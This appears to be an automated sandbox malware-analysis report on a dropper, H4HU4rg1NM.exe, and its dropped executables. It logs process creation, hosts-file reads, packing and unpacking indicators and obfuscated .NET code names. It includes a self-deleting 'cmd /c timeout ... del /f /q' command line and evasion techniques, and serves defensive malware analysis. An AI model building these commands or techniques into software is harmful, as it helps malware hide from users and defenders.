Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4D1A.exe C:\Users\user\AppData\Local\Temp\4D1A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\325D.tmp

Jump to behavior

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_0041C7B7 GetTickCount,FreeUserPhysicalPages,GetCalendarInfoW,GetProfileStringA,SetLastError,GetSystemWow64DirectoryA,GetWindowsDirectoryW,GetCPInfoExW,GetDiskFreeSpaceExW,GetStartupInfoA,ReadConsoleOutputCharacterA,CreateNamedPipeW,GetProcessHeap,GetProcessHeap,GetPrivateProfileIntW,SetFileAttributesA,

1_2_0041C7B7

Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5700:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\7728.exe

Command line argument: \H

35_2_00B7D6C5

Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: H4HU4rg1NM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp
Source:	Binary string: _tcC:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: "C:\sigut-wo.pdb source: 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\sigut-wo.pdb source: 325D.exe, 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: C:\gipate\nihidani\92\gape rosoloto50\lav75\zel.pdb source: 7728.exe
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: 7728.exe.13.dr
Source:	Binary string: C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: ?9"C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack .text:ER;.data:W;.fig:W;.hilo:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack .text:ER;.data:W;.huwu:W;.sax:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.110B.exe.420000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E3634 push es; iretd	1_2_004E3640
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_007397F8 push esi; ret	1_2_0073980E
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00739793 push esi; ret	1_2_0073980E
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401880 push esi; iretd	3_2_00401893
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402E94 push es; iretd	3_2_00402EA0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402E94 push es; iretd	3_1_00402EA0
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E3634 push es; iretd	17_2_004E3640
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401880 push esi; iretd	18_2_00401893
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402E94 push es; iretd	18_2_00402EA0
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402E94 push es; iretd	18_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B3634 push es; iretd	22_2_005B3640
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401880 push esi; iretd	23_2_00401893
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402E94 push es; iretd	23_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004139B0 push eax; ret	25_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B6873 pushfd ; ret	25_2_007B699F
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B6841 pushfd ; ret	25_2_007B699F
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B5DE0 pushad ; ret	25_2_007B5DE1
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B318B push ebx; ret	25_2_007B318C
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F069CF pushfd ; iretd	28_2_00F069F3
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F06A43 pushfd ; iretd	28_2_00F069F3
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F047D0 push 00000028h; retf 0000h	28_2_00F047D8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01944859 push es; ret	28_2_0194485F
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CC103 push E80B905Eh; ret	28_2_058CC109
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CC17B push 1400005Eh; iretd	28_2_058CC181
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CD0EA push esp; iretd	28_2_058CD0F1
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CCB38 pushad ; retf	28_2_058CCB39
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CCB78 pushfd ; retf	28_2_058CCB79
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F2504 push E80F6C5Eh; ret	28_2_058F2509
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F24FC push E810635Eh; retf	28_2_058F2501
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F714C push cs; ret	28_2_058F714F
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 30_2_004269CF pushfd ; iretd	30_2_004269F3

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_00432AE0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_00432AE0

Source: C26E.exe.13.dr

Static PE information: 0xE3096E67 [Thu Sep 14 04:21:59 2090 UTC]

Source: H4HU4rg1NM.exe	Static PE information: section name: .rufewev
Source: H4HU4rg1NM.exe	Static PE information: section name: .cecapu
Source: 7728.exe.13.dr	Static PE information: section name: .huwu
Source: 7728.exe.13.dr	Static PE information: section name: .sax
Source: 8CA5.exe.13.dr	Static PE information: section name: .shared
Source: 325D.exe.13.dr	Static PE information: section name: .pejevu
Source: 325D.exe.13.dr	Static PE information: section name: .dozi
Source: 4D1A.exe.13.dr	Static PE information: section name: .fig
Source: 4D1A.exe.13.dr	Static PE information: section name: .hilo
Source: 56DF.exe.13.dr	Static PE information: section name: .wewex
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name: .f7uSTEx
Source: A87C.exe.13.dr	Static PE information: section name: .adata
Source: iudbdfd.13.dr	Static PE information: section name: .rufewev
Source: iudbdfd.13.dr	Static PE information: section name: .cecapu
Source: sqlite3.dll.25.dr	Static PE information: section name: /4
Source: sqlite3.dll.25.dr	Static PE information: section name: /19
Source: sqlite3.dll.25.dr	Static PE information: section name: /35
Source: sqlite3.dll.25.dr	Static PE information: section name: /51
Source: sqlite3.dll.25.dr	Static PE information: section name: /63
Source: sqlite3.dll.25.dr	Static PE information: section name: /77
Source: sqlite3.dll.25.dr	Static PE information: section name: /89
Source: sqlite3.dll.25.dr	Static PE information: section name: /102
Source: sqlite3.dll.25.dr	Static PE information: section name: /113
Source: sqlite3.dll.25.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /124

Source: initial sample

Static PE information: section where entry point is pointing to: DATA

Source: 110B.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x8ce73
Source: 9B5C.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x8b750
Source: A87C.exe.13.dr	Static PE information: real checksum: 0x375d61 should be: 0x381423
Source: C26E.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x2af42
Source: 56DF.exe.13.dr	Static PE information: real checksum: 0x4d55c should be: 0x6387

Source: initial sample	Static PE information: section name: .text entropy: 6.87603308469
Source: initial sample	Static PE information: section name: .text entropy: 7.79683538387
Source: initial sample	Static PE information: section name: DATA entropy: 7.9969792001
Source: initial sample	Static PE information: section name: .text entropy: 6.87583252941
Source: initial sample	Static PE information: section name: .text entropy: 6.89863439177
Source: initial sample	Static PE information: section name: entropy: 7.99506790301
Source: initial sample	Static PE information: section name: entropy: 7.82703526497
Source: initial sample	Static PE information: section name: entropy: 7.95119860642
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.9974200792
Source: initial sample	Static PE information: section name: .f7uSTEx entropy: 7.91980898395
Source: initial sample	Static PE information: section name: .text entropy: 6.87603308469

Source: 9B5C.exe.13.dr, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'x2edtkdgqcCM9BTWgG9'
Source: 9B5C.exe.13.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'KyMgXHFOND', '.cctor', 'GSyCOj2cheuaRl0Bax', 'rrbeVD6ZpDw6na9J8c', 'J0smSaMe8lMPWRe9Sy', 'Btd50XY8dwYDE1LMUQ'
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'fSQ4S14sW5', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 110B.exe.13.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.2.110B.exe.f00000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 30.0.110B.exe.420000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
